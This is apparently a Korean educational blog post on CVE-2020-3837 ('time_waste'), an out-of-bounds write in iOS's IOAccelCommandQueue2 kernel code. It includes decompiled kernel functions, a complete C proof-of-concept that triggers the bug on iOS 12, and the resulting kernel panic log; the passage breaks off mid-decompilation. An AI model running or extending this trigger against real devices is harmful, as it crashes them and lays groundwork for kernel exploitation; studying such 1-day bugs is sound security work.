{"id":3968,"date":"2025-09-17T11:36:19","date_gmt":"2025-09-17T02:36:19","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3968"},"modified":"2025-09-17T14:19:39","modified_gmt":"2025-09-17T05:19:39","slug":"%ec%8b%a4%ec%8a%b5-cve-2020-3837time_waste-%ec%9d%b4%ed%95%b4%ed%95%98%ea%b8%b0","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3968","title":{"rendered":"[\uc2e4\uc2b5] CVE-2020-3837(time_waste) \uc774\ud574\ud558\uae30"},"content":{"rendered":"\n<p>\uad00\ub828 \uae00\uacfc \ucf54\ub4dc\ub4e4\uc740 \uc544\ub798 \ub9c1\ud06c\uc5d0\uc11c \ud655\uc778\ud558\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2020-3837\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2020-3837<\/a><\/p>\n\n\n\n<div class=\"wp-block-jetpack-markdown\"><h1>\ubc84\uadf8 \uc54c\uc544\ubcf4\uae30<\/h1>\n<p>\ud560\ub2f9\ub41c \ucee4\ub110\uacfc \uc720\uc800\ub79c\ub4dc \uc0ac\uc774\uc758 \uacf5\uc720 \uba54\ubaa8\ub9ac\uc5d0\uc11c OOB Write \ucde8\uc57d\uc810\uc774 \ubc1c\uc0dd\ud558\ub294 \ucde8\uc57d\uc810\uc774\ub2e4.\n\ud574\ub2f9 \ucde8\uc57d\uc810\uc740 <code>IOAccelCommandQueue2::processSegmentKernelCommand()<\/code>\uc5d0\uc11c <code>IOAccelKernelCommand<\/code>\ub97c \ud30c\uc2f1\ud560 \ub54c \uc0ac\uc6a9\ud558\ub294 \ud06c\uae30 \uac80\uc0ac\ub4e4\uc774 \uc798\ubabb\ub418\uc5b4\uc11c \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<p><code>IOAccelKernelCommand<\/code>\ub294 8\ubc14\uc774\ud2b8 \ud5e4\ub354(\uba85\ub839 \ud0c0\uc785\uacfc \ud06c\uae30)\uc640, \uadf8 \ub4a4\uc5d0 \uc624\ub294 \ud0c0\uc785\ubcc4 \uad6c\uc870\ud654\ub41c \ub370\uc774\ud130\ub85c \uad6c\uc131\ub41c\ub2e4. \ud2b9\uc815 \uba85\ub839 \ud0c0\uc785\uc5d0 \ub300\ud574 <code>IOAccelKernelCommand<\/code>\uc758 \ud06c\uae30\uac00 \ud574\ub2f9 \ud0c0\uc785\uc5d0 \ud544\uc694\ud55c \ub370\uc774\ud130\ub97c \ud3ec\ud568\ud558\ub294\uc9c0\ub97c \uac80\uc99d\ud560 \ub54c, \uadf8 \uac80\uc0ac\uc5d0\uc11c 8\ubc14\uc774\ud2b8 \ud5e4\ub354\uc758 \ud06c\uae30\ub97c \uc81c\uc678\ud558\ub294 \uac83\uc73c\ub85c \ubcf4\uc774\uba70,\n\uadf8 \uacb0\uacfc <code>processSegmentKernelCommand()<\/code>\ub294 \ucd5c\ub300 8\ubc14\uc774\ud2b8\uae4c\uc9c0 \ubc94\uc704\ub97c \ubc97\uc5b4\ub09c \ub370\uc774\ud130\ub97c \ud30c\uc2f1\ud558\uac8c \ub41c\ub2e4.<\/p>\n<p>\uc774\ub7ec\ud55c \uba85\ub839\uc744 \uc218\ud589\ud558\ub294 \uba85\ub839\ud0c0\uc785 2\ub294 <code>kIOAccelKernelCommandCollectTimeStamp<\/code>\uc5d0 \ud574\ub2f9\ub41c\ub2e4. \uadf8\ub7f0\ub370 \uc5ec\uae30\uc11c <strong><code>mach_absolute_time<\/code> \ud0c0\uc784\uc2a4\ud0ec\ud504 \uac12\uc744<\/strong> \ud30c\uc2f1\ud558\ub294 \uac83 \ubfd0\ub9cc \uc544\ub2c8\ub77c <strong>\uc4f0\uae30\uae4c\uc9c0<\/strong> \uc218\ud589\ub41c\ub2e4. \uc774\ub85c \uc778\ud574 \ub2e4\uc74c \ud398\uc774\uc9c0\uc758 \ucc98\uc74c 1~8\ubc14\uc774\ud2b8\uac00 \ud0c0\uc784\uc2a4\ud0ec\ud504 \ub370\uc774\ud130\ub85c \ub36e\uc5b4\uc368\uc9c8 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">void __fastcall IOAccelCommandQueue2::processSegmentKernelCommand(\n        IOAccelCommandQueue2 *this,\n        IOAccelSegmentResourceList *resourceList,\n        sIOAccelKernelCommand *kernelCommand,\n        sIOAccelKernelCommand *kernelCommandEnd)\n{\n  uint32_t command_type; \/\/ w9\n  unsigned __int64 command_size; \/\/ x8\n  uint32_t error; \/\/ w8\n  unsigned __int64 command_size_minus_8; \/\/ x8\n  size_t length; \/\/ x22\n  void *buffer; \/\/ x21\n  void *to_free; \/\/ x0\n  vm_size_t to_free_size; \/\/ x1\n  int v14; \/\/ w8\n  IOAccelSegmentResourceList *v15; \/\/ x9\n  IOAccelSysMemory *accelSysMemory; \/\/ x21\n  unsigned __int64 v17; \/\/ x25\n  __int64 v18; \/\/ x0\n  __int64 address; \/\/ x22\n  unsigned int v20; \/\/ w23\n  unsigned int length_1; \/\/ w26\n  void *buffer_1; \/\/ x24\n\n  command_type = kernelCommand-&gt;command_type;\n  command_size = (char *)kernelCommandEnd - (char *)kernelCommand;\n  if ( kernelCommand-&gt;command_type != 2 )\n  {\n    ...\n  }  \n  \n  \/\/ kIOAccelKernelCommandCollectTimeStamp = 2\n  if ( command_size &lt;= 7 )\n  {\n    j___os_log_internal_5(\n      &amp;IOAcceleratorFamily,\n      (os_log_t)&amp;_os_log_default,\n      OS_LOG_TYPE_FAULT,\n      &quot;%s:kIOAccelKernelCommandCollectTimeStamp: Insufficient bytes (%llu) for sIOAccelKernelCommandCollectTimeStampArgs (%lu)\\n&quot;,\n      &quot;virtual void IOAccelCommandQueue2::processSegmentKernelCommand(IOAccelSegmentResourceList *, const sIOAccelKernelC&quot;\n      &quot;ommand *, const sIOAccelKernelCommand *)&quot;,\n      (char *)kernelCommandEnd - (char *)kernelCommand,\n      8);\n    goto LABEL_11;\n  }\n  ***(_QWORD *)&amp;kernelCommand-&gt;field_8 = j__mach_absolute_time_75();  \/\/ OOB Write\n}**\n<\/code><\/pre>\n<h1>\ud2b8\ub9ac\uac70 \ubc29\ubc95<\/h1>\n<p>\uc6b0\uc120 \uc544\ub798\uc758 PoC \ucf54\ub4dc\ub97c \uc544\uc774\ud3f08 \/ iOS 12.0.1 \ud658\uacbd\uc5d0\uc11c \uc2e4\ud589\uc2dc\ucf1c\uc57c \ud558\ub294\ub370 \uc57d\uac04\uc758 \ubcc0\uacbd\uc0ac\ud56d\uc744 \uc801\uc6a9\ud574\ub193\uc558\ub2e4.<\/p>\n<p>\uc6d0\ub798 \uac8c\uc2dc\ub41c poc \ucf54\ub4dc \uc911 \uc11c\ube44\uc2a4\ub97c <code>AGXAccelerator<\/code> \ub300\uc2e0\uc5d0 <code>IOGraphicsAccelerator2<\/code>\ub85c,\n<code>IOAccelCommandQueue2_type<\/code>\uc740 iOS 12\uc5d0\uc11c\ub294 4 \ub300\uc2e0\uc5d0 5\ub85c \uc218\uc815\uc2dc\ucf1c\uc8fc\uc5b4\uc57c \uc791\ub3d9\ud558\uc600\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">#include &lt;CoreFoundation\/CoreFoundation.h&gt;\n#include &lt;mach\/mach.h&gt;\n#include &lt;pthread.h&gt;\n\ntypedef mach_port_t io_object_t;\ntypedef io_object_t io_connect_t;\ntypedef io_object_t io_service_t;\ntypedef char io_name_t[128];\n\n#define IO_OBJECT_NULL\t(MACH_PORT_NULL)\nextern const mach_port_t kIOMasterPortDefault;\nkern_return_t IOObjectGetClass(io_object_t object, io_name_t className);\nkern_return_t IOObjectRelease(io_object_t object);\nio_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);\nkern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect);\nkern_return_t IOServiceClose(io_connect_t connect);\nCFMutableDictionaryRef IOServiceMatching(const char *name ) CF_RETURNS_RETAINED;\nkern_return_t IOConnectAddClient(io_connect_t connect, io_connect_t client);\nkern_return_t IOConnectCallMethod(mach_port_t connection, uint32_t selector, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;\nkern_return_t IOConnectCallAsyncMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const uint64_t *input, uint32_t inputCnt, const void *inputStruct, size_t inputStructCnt, uint64_t *output, uint32_t *outputCnt, void *outputStruct, size_t *outputStructCnt) AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;\n\nconst int IOAccelCommandQueue2_type = 5;\nconst int IOAccelSharedUserClient2_type = 2;\nconst int IOAccelSharedUserClient2_create_shmem_selector = 5;\nconst int IOAccelCommandQueue2_set_notification_port_selector = 0;\nconst int IOAccelCommandQueue2_submit_command_buffers_selector = 1;\n\nstruct IOAccelDeviceShmemData {\n\tvoid *data;\n\tuint32_t length;\n\tuint32_t shmem_id;\n};\n\nstruct IOAccelCommandQueueSubmitArgs_Header {\n\tuint32_t _unk_1;\n\tuint32_t count;\n};\n\nstruct IOAccelCommandQueueSubmitArgs_Command {\n\tuint32_t command_buffer_shmem_id;\n\tuint32_t segment_list_shmem_id;\n\tuint64_t notify_1;\n\tuint64_t notify_2;\n};\n\nstruct IOAccelSegmentListHeader {\n\tuint32_t field_0;\n\tuint32_t field_4;\n\tuint32_t segment_count;\n\tuint32_t length;\n};\n\nstruct IOAccelSegmentResourceList_ResourceGroup {\n\tuint32_t resource_id[6];\n\tuint8_t field_18[48];\n\tuint16_t resource_flags[6];\n\tuint8_t field_54[2];\n\tuint16_t resource_count;\n};\n\nstruct IOAccelSegmentResourceListHeader {\n\tuint64_t field_0;\n\tuint32_t kernel_commands_start_offset;\n\tuint32_t kernel_commands_end_offset;\n\tint total_resources;\n\tuint32_t resource_group_count;\n\tstruct IOAccelSegmentResourceList_ResourceGroup resource_groups[];\n};\n\nstruct IOAccelKernelCommand {\n\tuint32_t type;\n\tuint32_t size;\n};\n\nstruct IOAccelKernelCommand_CollectTimeStamp {\n\tstruct IOAccelKernelCommand command;\n\tuint64_t timestamp;\n};\n\nstatic struct IOAccelDeviceShmemData *\nIOAccelSharedUserClient2_create_shmem(io_connect_t IOAccelSharedUserClient2, size_t size) {\n\tstruct IOAccelDeviceShmemData *shmem = malloc(sizeof(*shmem));\n\tassert(shmem != NULL);\n\tsize_t out_size = sizeof(*shmem);\n\tuint64_t shmem_size = size;\n\tkern_return_t kr = IOConnectCallMethod(IOAccelSharedUserClient2,\n\t\t\tIOAccelSharedUserClient2_create_shmem_selector,\n\t\t\t&amp;shmem_size, 1,\n\t\t\tNULL, 0,\n\t\t\tNULL, NULL,\n\t\t\tshmem, &amp;out_size);\n\tassert(kr == KERN_SUCCESS);\n\treturn shmem;\n}\n\nstatic void\nIOAccelCommandQueue2_set_notification_port(io_connect_t IOAccelCommandQueue2, mach_port_t notification_port) {\n\tkern_return_t kr = IOConnectCallAsyncMethod(IOAccelCommandQueue2,\n\t\t\tIOAccelCommandQueue2_set_notification_port_selector,\n\t\t\tnotification_port,\n\t\t\tNULL, 0,\n\t\t\tNULL, 0,\n\t\t\tNULL, 0,\n\t\t\tNULL, NULL,\n\t\t\tNULL, NULL);\n\tassert(kr == KERN_SUCCESS);\n}\n\nstatic void\nIOAccelCommandQueue2_submit_command_buffers(io_connect_t IOAccelCommandQueue2,\n\t\tconst struct IOAccelCommandQueueSubmitArgs_Header *submit_args,\n\t\tsize_t size) {\n\tkern_return_t kr = IOConnectCallMethod(IOAccelCommandQueue2,\n\t\t\t\t IOAccelCommandQueue2_submit_command_buffers_selector,\n\t\t\t\t NULL, 0,\n\t\t\t\t submit_args, size,\n\t\t\t\t NULL, NULL,\n\t\t\t\t NULL, NULL);\n\tassert(kr == KERN_SUCCESS);\n}\n\nstatic void *\nnotification_recv_func(void *arg) {\n\tmach_port_t notification_port = (mach_port_t)(uintptr_t)arg;\n\tfor (;;) {\n\t\tstruct {\n\t\t\tmach_msg_header_t hdr;\n\t\t\tuint8_t data[0x4000];\n\t\t} msg = {};\n\t\tkern_return_t kr = mach_msg(&amp;msg.hdr, MACH_RCV_MSG, 0,\n\t\t\t\tsizeof(msg), notification_port,\n\t\t\t\tMACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);\n\t\tif (kr == KERN_SUCCESS) {\n\t\t\tint error = *(int *)((uint8_t *)&amp;msg + 0x94);\n\t\t\tuint64_t notify = *(uint64_t *)((uint8_t *)&amp;msg + 0x64);\n\t\t\tprintf(&quot;notification %llx: error = %d\\n&quot;, notify, error);\n\t\t}\n\t}\n}\n\nvoid poc() {\n\tkern_return_t kr;\n\n\tio_service_t IOGraphicsAccelerator2 = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(&quot;IOGraphicsAccelerator2&quot;));\n\tassert(IOGraphicsAccelerator2 != IO_OBJECT_NULL);\n\tio_connect_t IOAccelCommandQueue2 = MACH_PORT_NULL;\n\tIOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelCommandQueue2_type, &amp;IOAccelCommandQueue2);\n\tassert(IOAccelCommandQueue2 != IO_OBJECT_NULL);\n\tio_connect_t IOAccelSharedUserClient2 = MACH_PORT_NULL;\n\tIOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelSharedUserClient2_type, &amp;IOAccelSharedUserClient2);\n\tassert(IOAccelSharedUserClient2 != IO_OBJECT_NULL);\n\n\tkr = IOConnectAddClient(IOAccelCommandQueue2, IOAccelSharedUserClient2);\n\tassert(kr == KERN_SUCCESS);\n\n\tstruct IOAccelDeviceShmemData *command_buffer_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);\n\tstruct IOAccelDeviceShmemData *segment_list_shmem = IOAccelSharedUserClient2_create_shmem(IOAccelSharedUserClient2, 0x4000);\n\n\tmach_port_t notification_port = 0;\n\tmach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &amp;notification_port);\n\tIOAccelCommandQueue2_set_notification_port(IOAccelCommandQueue2, notification_port);\n\n\tpthread_t notification_recv_thread;\n\tpthread_create(&amp;notification_recv_thread, NULL, notification_recv_func, (void *)(uintptr_t)notification_port);\n\n\tstruct {\n\t\tstruct IOAccelCommandQueueSubmitArgs_Header header;\n\t\tstruct IOAccelCommandQueueSubmitArgs_Command command;\n\t} submit_args = {};\n\tsubmit_args.header.count = 1;\n\tsubmit_args.command.command_buffer_shmem_id = command_buffer_shmem-&gt;shmem_id;\n\tsubmit_args.command.segment_list_shmem_id   = segment_list_shmem-&gt;shmem_id;\n\n\tstruct IOAccelSegmentListHeader *slh = (void *)segment_list_shmem-&gt;data;\n\tslh-&gt;length = 0x100;\n\tslh-&gt;segment_count = 1;\n\tstruct IOAccelSegmentResourceListHeader *srlh = (void *)(slh + 1);\n\tsrlh-&gt;kernel_commands_start_offset = 0;\n\tsrlh-&gt;kernel_commands_end_offset = 0x4000;\n\n\tstruct IOAccelKernelCommand_CollectTimeStamp *cmd1 = (void *)command_buffer_shmem-&gt;data;\n\tcmd1-&gt;command.type = 2;\n\tcmd1-&gt;command.size = 0x4000 - 8;\n\tstruct IOAccelKernelCommand_CollectTimeStamp *cmd2 = (void *)((uint8_t *)cmd1 + cmd1-&gt;command.size);\n\tcmd2-&gt;command.type = 2;\n\tcmd2-&gt;command.size = 8;\n\n#define KTRW 0\n\n\tprintf(&quot;IOAccelCommandQueue2::submit_command_buffers()\\n&quot;);\n#if KTRW\n\tsleep(4);\n#endif\n\tIOAccelCommandQueue2_submit_command_buffers(IOAccelCommandQueue2, &amp;submit_args.header, sizeof(submit_args));\n\tprintf(&quot;timestamp = %llx\\n&quot;, cmd1-&gt;timestamp);\n#if KTRW\n\tsleep(4);\n#endif\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n\tdispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{\n\t\tpoc();\n\t\tusleep(100000);\n\t\texit(1);\n\t});\n\twhile(1) {};\n    return 0;\n}\n\n<\/code><\/pre>\n<p>\uadf8\ub7ec\uba74 \uc544\ub798\uc640 \uac19\uc774 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-nasm\">.\/jtool2 --symbolicate ~\/Downloads\/panic-full-2025-08-29-013705.123.ips\nSymbolicating \/Users\/seo\/Downloads\/panic-full-2025-08-29-013705.123.ips\nLooking for companion file matching 95FA03CA-7760-32CB-96B7-6A3C11A54E0E\nCompanion file: .\/kerneldec_1201_8.ARM64.95FA03CA-7760-32CB-96B7-6A3C11A54E0E\nKernel slide: 0x14600000\nLR: 0xfffffff0072080f0 SYM: _sleh_synchronous + 0x864\nLR: 0xfffffff0070dd610 SYM: _fleh_synchronous + 0x28\nLR: 0xfffffff007112080 SYM: _DebuggerSaveState + 0x10\nLR: 0xfffffff0071123f8 SYM: _workq_constrained_allowance + 0x1a0\nLR: 0xfffffff00711224c SYM: _panic + 0x28\nLR: 0xfffffff0072077cc SYM: _panic_with_thread_kernel_state + 0xdc\nLR: 0xfffffff0072087f8 SYM: _sleh_synchronous + 0xf6c\nLR: 0xfffffff0070dd610 SYM: _fleh_synchronous + 0x28\nLR: 0xfffffff006cfea8c SYM: __ZN20IOAccelCommandQueue227processSegmentKernelCommandEP26IOAccelSegmentResourceListPK20IOAccelKernelCommandS4_ + 0x1c4\nLR: 0xfffffff006cfecd4 SYM: __ZN20IOAccelCommandQueue228processSegmentKernelCommandsEP26IOAccelSegmentResourceListPK20IOAccelKernelCommandS4_ + 0x68\nLR: 0xfffffff006cfedc8 SYM: __ZN20IOAccelCommandQueue214processSegmentEP26IOAccelSegmentResourceListPK20IOAccelKernelCommandS4_ + 0x54\nLR: 0xfffffff006cff220 SYM: __ZN20IOAccelCommandQueue220processCommandBufferEjj + 0x224\nLR: 0xfffffff006d000ec SYM: __ZN20IOAccelCommandQueue222process_command_bufferEjj + 0x3ec\nLR: 0xfffffff006cfe5d0 SYM: __ZN20IOAccelCommandQueue221submit_command_bufferEjjyy + 0xd0\nLR: 0xfffffff006cfe3dc SYM: __ZN20IOAccelCommandQueue222submit_command_buffersEPK29IOAccelCommandQueueSubmitArgs + 0x270\nLR: 0xfffffff006cfd624 SYM: __ZN20IOAccelCommandQueue224s_submit_command_buffersEPS_PvP25IOExternalMethodArguments + 0x11c\nLR: 0xfffffff0075ec894 SYM: __ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv + 0x1bc\nLR: 0xfffffff0075f4594 SYM: _is_io_connect_method + 0x18c\nLR: 0xfffffff0071de830 SYM: __Xio_connect_method + 0x180\nLR: 0xfffffff0070f6080 SYM: _ipc_kmsg_send + 0x394\nLR: 0xfffffff0071084f0 SYM: _mach_msg_overwrite_trap + 0x9b8\nLR: 0xfffffff007208898 SYM: _sleh_synchronous + 0x100c\nLR: 0xfffffff0070dd610 SYM: _fleh_synchronous + 0x28\nLR: 0x1750d9ed0 SYM: (null) + 0x28\n...\n\nPanic Log:\npanic(cpu 0 caller 0xfffffff01b8077cc): Kernel data abort. (saved state: 0xffffffe03d582bc0)\nx0: 0x000000007cd5e02e  x1:  0xffffffe000a93900  x2:  0xffffffe032ccfff8  x3:  0xffffffe032cd0000\nx4: 0xfffffff01b2fe8c8  x5:  0x000000000000166c  x6:  0x0000000000000000  x7:  0xffffffe005da8200\nx8: 0x000000007cd5e02e  x9:  0x0000000000000000  x10: 0x0000000000003107  x11: 0x0000000000000140\nx12: 0xfffffff01bc8d9d0 x13: 0xffffffe000a90308  x14: 0x0000000000000005  x15: 0xffffffe032cd8000\nx16: 0xfffffff01b80c574 x17: 0x0000000000000003  x18: 0xfffffff01b6dd000  x19: 0xffffffe001aeb000\nx20: 0xffffffe032ccfff8 x21: 0xffffffe000a93900  x22: 0xffffffe032cd0000  x23: 0x0000000000000010\nx24: 0x0000000000004000 x25: 0x0000000000000000  x26: 0xffffffe032ba4010  x27: 0xffffffe000a93900\nx28: 0xffffffe032ba4028 fp:  0xffffffe03d582f70  lr:  0xfffffff01b2fea8c  sp:  0xffffffe03d582f10\npc:  0xfffffff01b2fea8c cpsr: 0x20400304         esr: 0x96000047          far: 0xffffffe032cd0000\nDebugger message: panic\nMemory ID: 0xff\nOS version: 16A404\nKernel version: Darwin Kernel Version 18.0.0: Tue Aug 14 22:07:16 PDT 2018; root:xnu-4903.202.2~1\\\\\/RELEASE_ARM64_T8015\n...\n\nCrashed at:\ncom.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA88 loc_FFFFFFF006CFEA88                    ; CODE XREF: IOAccelCommandQueue2::processSegmentKernelCommand(IOAccelSegmentResourceList *,IOAccelKernelCommand const*,IOAccelKernelCommand const*)+84\u2191j\ncom.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA88                 BL              j__mach_absolute_time_75\ncom.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA8C                 STR             X0, [X20,#8] &lt;---- CRASH POINT !!!!\ncom.apple.iokit.IOAcceleratorFamily:__text:FFFFFFF006CFEA90                 B               loc_FFFFFFF006CFEA00\n<\/code><\/pre>\n<p>\ub3cc\uc544\uc640\uc11c POC \ucf54\ub4dc\ub97c \ub2e4\uc2dc\ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<h2>1. IOGraphicsAccelerator2 \uc11c\ube44\uc2a4 \ud074\ub77c\uc774\uc5b8\ud2b8 \uc5f0\uacb0<\/h2>\n<p>\uba3c\uc800 <code>IOServiceGetMatchingService<\/code> \ud568\uc218\ub85c \uadf8\ub798\ud53d \uac00\uc18d\ud654 \uad00\ub828 \uc11c\ube44\uc2a4\uc778 IOGraphicsAccelerator2 \uc11c\ube44\uc2a4\ub97c \ucc3e\ub294\ub2e4. \uc774\ud6c4\ub85c IOServiceOpen \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub294\ub370, \ubcf4\ud1b5 \uc0ac\uc6a9\uc790 \uacf5\uac04 \ud504\ub85c\uc138\uc2a4\uac00 \ucee4\ub110\uc5d0 \ub4f1\ub85d\ub41c I\/O \uc11c\ube44\uc2a4 \ub4dc\ub77c\uc774\ubc84\uc5d0 \uc720\uc800 \ud074\ub77c\uc774\uc5b8\ud2b8\ub97c \uc5ec\ub294\ub370 \uc8fc\ub85c \ud65c\uc6a9\ub41c\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0 <code>IOConnectAddClient<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uc5ec \ud574\ub2f9 \ud0c0\uc785\uc73c\ub85c \uc5f4\ub9b0 \uac01\uac01\uc758 \uc720\uc800 \ud074\ub77c\uc774\uc5b8\ud2b8\ub294 \ud578\ub4e4\uc744 \uc11c\ub85c \uc5f0\uacb0\uc2dc\ucf1c, \ud55c \ucabd\uc774 \ub2e4\ub978 \ucabd\uc774 \ub9cc\ub4e0 \ub9ac\uc18c\uc2a4\ub098 \ub9e4\ud551\uc744 \uc774\uc6a9\ud560 \uc218 \uc788\ub3c4\ub85d \ub9cc\ub4e0\ub2e4.<\/p>\n<pre><code class=\"language-c\">void poc() {\n\tkern_return_t kr;\n\n\tio_service_t IOGraphicsAccelerator2 = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(&quot;IOGraphicsAccelerator2&quot;));\n\tassert(IOGraphicsAccelerator2 != IO_OBJECT_NULL);\n\tio_connect_t IOAccelCommandQueue2 = MACH_PORT_NULL;\n\tIOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelCommandQueue2_type, &amp;IOAccelCommandQueue2);\n\tassert(IOAccelCommandQueue2 != IO_OBJECT_NULL);\n\tio_connect_t IOAccelSharedUserClient2 = MACH_PORT_NULL;\n\tIOServiceOpen(IOGraphicsAccelerator2, mach_task_self(), IOAccelSharedUserClient2_type, &amp;IOAccelSharedUserClient2);\n\tassert(IOAccelSharedUserClient2 != IO_OBJECT_NULL);\n\n\tkr = IOConnectAddClient(IOAccelCommandQueue2, IOAccelSharedUserClient2);\n\tassert(kr == KERN_SUCCESS);\n<\/code><\/pre>\n<p>IOServiceOpen \ud568\uc218\ub294 3\ubc88\uc9f8 \uc778\uc790\uc5d0 user_client \ud0c0\uc785\uc774 \ud544\uc694\ub85c \ud558\ub294\ub370,\nIOGraphicsAccelerator2 \uc11c\ube44\uc2a4\uc758 \uacbd\uc6b0, kernelcache\uc5d0\uc11c <code>IOGraphicsAccelerator2::newUserClient<\/code> \ud568\uc218\ub97c \ud1b5\ud574 \uac01 \ud0c0\uc785\uc5d0 \ub530\ub77c \uc5b4\ub5a4 \uc5ed\ud560\uc744 \uc218\ud589\ud558\ub294\uc9c0 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<p>newUserClient \ud568\uc218\ub97c \ub354 \uc815\ud655\ud788 \uc0b4\ud3b4\ubd10\uc57c \uc54c\uaca0\uc9c0\ub9cc,\nIOGraphicsAccelerator2 \uad00\ub828 \uc11c\ube44\uc2a4\uc758 userclient \ud0c0\uc785 2\ub294 <code>IOAccelContext2<\/code> \uac1d\uccb4\ub97c, \ud0c0\uc785 5\ub294 <code>IOAccelDevice2<\/code> \uac1d\uccb4\ub97c \uac01\uac01 \ucd08\uae30\ud654\ud558\ub294\uac83\uc744 \ubcfc \uc218 \uc788\uc5c8\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">__int64 __fastcall IOGraphicsAccelerator2::newUserClient(\n        struct_a1 *a1,\n        task *a2,\n        __int64 securityID,\n        __int64 type,\n        IOUserClient **a5)\n{\n  __int64 v9; \/\/ x19\n  proc *bsdtask_info_9; \/\/ x0\n  __int64 v11; \/\/ x27\n  int CountWithPID; \/\/ w24\n  int v13; \/\/ w25\n  int v14; \/\/ w26\n  int v15; \/\/ w0\n  unsigned int v16; \/\/ w9\n  unsigned int dwordBBC; \/\/ w8\n  __int64 v18; \/\/ x0\n  IOUserClient *v19; \/\/ x23\n  __int64 v20; \/\/ x0\n  __int64 v21; \/\/ x0\n  __int64 v22; \/\/ x0\n  __int64 i; \/\/ x0\n  __int64 j; \/\/ x0\n  _BYTE v26[8]; \/\/ [xsp+38h] [xbp-58h] BYREF\n\n  v9 = 0xE00002BELL;\n  if ( !a2 )\n    return 0xE00002C2LL;\n  *a5 = 0;\n  a1-&gt;dword93C = 1;\n  j__OSIncrementAtomic_29(&amp;a1-&gt;sint3290);\n  j__lck_mtx_lock_14(a1-&gt;plck_mtx88);\n  j__OSDecrementAtomic_2(&amp;a1-&gt;sint3290);\n  ((void (__fastcall *)(struct_a1 *, void *, _QWORD))a1-&gt;IOGA2_vt-&gt;field_538)(a1, &amp;empty, 0);\n  bsdtask_info_9 = (proc *)j__get_bsdtask_info_9(a2);\n  if ( bsdtask_info_9 )\n  {\n    v11 = j__proc_pid_13(bsdtask_info_9);\n    CountWithPID = IOAccelContextList::getCountWithPID(&amp;a1-&gt;pqword9D8, v11);\n    v13 = IOAccelCommandQueueList::getCountWithPID(&amp;a1-&gt;gap9E0[8], v11);\n    v14 = IOAccelSharedUserClientList::getCountWithPID(&amp;a1-&gt;gap9E0[56], v11);\n    v15 = IOAccelDeviceList::getCountWithPID(&amp;a1-&gt;gap9E0[24], v11);\n    v16 = v13 + CountWithPID + v14 + v15;\n    dwordBBC = a1-&gt;dwordBBC;\n    if ( v16 &lt;= dwordBBC )\n    {\n      if ( v16 &gt; a1-&gt;dwordBB8 )\n        j___os_log_internal_5(\n          &amp;IOAcceleratorFamily,\n          (os_log_t)&amp;_os_log_default,\n          OS_LOG_TYPE_FAULT,\n          &quot;%s: Too many contexts (%d) + queues (%d) + device (%d) + shared (%d) created, possibly leaking?\\n&quot;,\n          &quot;virtual IOReturn IOGraphicsAccelerator2::newUserClient(task_t, void *, UInt32, IOUserClient **)&quot;,\n          CountWithPID,\n          v13,\n          v15,\n          v14);\n    }\n    else\n    {\n      j___os_log_internal_5(\n        &amp;IOAcceleratorFamily,\n        (os_log_t)&amp;_os_log_default,\n        OS_LOG_TYPE_FAULT,\n        &quot;%s: contexts(%d) + queues (%d) + device (%d) + shared (%d) exceeding limit (%d), failing context creation\\n&quot;,\n        &quot;virtual IOReturn IOGraphicsAccelerator2::newUserClient(task_t, void *, UInt32, IOUserClient **)&quot;,\n        CountWithPID,\n        v13,\n        v15,\n        v14,\n        dwordBBC);\n      if ( (a1-&gt;byteB5C &amp; 8) != 0 )\n      {\n        ((void (__fastcall *)(struct_a1 *, void *, _QWORD))a1-&gt;IOGA2_vt-&gt;__ZN22IOGraphicsAccelerator221acceleratorWillUnlockEPKci)(\n          a1,\n          &amp;empty,\n          0);\n        j__lck_mtx_unlock_14(a1-&gt;plck_mtx88);\n        return 0xE0078001LL;\n      }\n    }\n  }\n  ((void (__fastcall *)(struct_a1 *, void *, _QWORD))a1-&gt;IOGA2_vt-&gt;__ZN22IOGraphicsAccelerator221acceleratorWillUnlockEPKci)(\n    a1,\n    &amp;empty,\n    0);\n  j__lck_mtx_unlock_14(a1-&gt;plck_mtx88);\n  switch ( (int)type )\n  {\n  ...\n    case 2:                                     \/\/ kIOAccelContext2Type\n      v20 = ((__int64 (__fastcall *)(struct_a1 